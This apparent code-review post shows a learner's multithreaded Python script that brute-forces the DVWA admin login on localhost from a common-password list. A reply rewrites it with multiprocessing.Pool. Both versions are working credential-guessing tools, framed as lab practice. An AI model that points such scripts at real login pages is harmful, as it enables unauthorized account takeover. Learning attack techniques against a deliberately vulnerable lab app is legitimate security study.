Multithreaded password cracker I am learning infosec with DVWA (Damn Vulnerable Web Application). At first I've decided to write something to brute force admin login screen. I've downlaoded a list of most commonly used passwords and created a script which takes them and attempts to log in. What do you think of it, what could be improved?

#!/usr/bin/env python3

import threading
import requests

URL = 'http://localhost/login.php'
PASSWORD_FILE_NAME = 'common-passwords.txt'
entry_found = False


def create_threads(passwords):
    password_list_split_points = [
        (0, len(passwords) // 4),
        (len(passwords) // 4 + 1, len(passwords) // 2),
        (len(passwords) // 2 + 1, 3 * (len(passwords) // 4)),
        (3 * (len(passwords) // 4) + 1, len(passwords) - 1),
    ]
    thread_list = [threading.Thread(
        target=run_cracker,
        args=(
            passwords[split_point[0] : split_point[1]]
        )
    ) for split_point in password_list_split_points]
    return thread_list


def run_cracker(*passwords):
    global entry_found
    for password in passwords:
        if entry_found:
            break
        # Passwords still contain last \n char which has to be stripped.
        if crack_password(password.rstrip()):
            # This is set to True only once. No need for sync mechanisms.
            entry_found = True


def crack_password(password):
    print('[*] Trying password: "{}" ...'.format(password))
    response = requests.post(
        URL,
        data={'username': 'admin', 'Login': 'Login', 'password': password}
    )

    if bytes('Login failed', encoding='utf-8') not in response.content:
        print('[*] Login successful for username: {} password: {}'.format(
            'admin', password
        ))
        return True
    else:
        return False


if __name__ == '__main__':
    with open(PASSWORD_FILE_NAME) as password_file:
        passwords = password_file.readlines()

    thread_list = create_threads(passwords)

    for thread in thread_list:
        print('[*] Running thread: {}.'.format(thread.getName()))
        thread.start()

    for thread in thread_list:
        print('[*] Wating for {} to join.'.format(thread.getName()))
        thread.join()
This seems to me like your create_threads and run_cracker functions are trying to reinvent something that look like multiprocessing.Pools. Using them, you just need to implement crack_password, managing the workload and spawning processes will be done by the pool.

This will however not short-circuit once a working password has been found.

Example implementation:

from multiprocessing import Pool

import requests


def crack_password(password, url='http://localhost/login.php'):
    response = requests.post(
        url,
        data={'username': 'admin', 'Login': 'Login', 'password': password}
    )

    if bytes('Login failed', encoding='utf-8') not in response.content:
        return password


def main(passwords_filename='common-passwords.txt'):
    with open(passwords_filename) as passwords_file:
        passwords = passwords_file.readlines()

    with Pool(4) as pool:
        results = pool.map(crack_password, passwords)
        success = list(filter(None, results))
    print(success)


if __name__ == '__main__':
    main()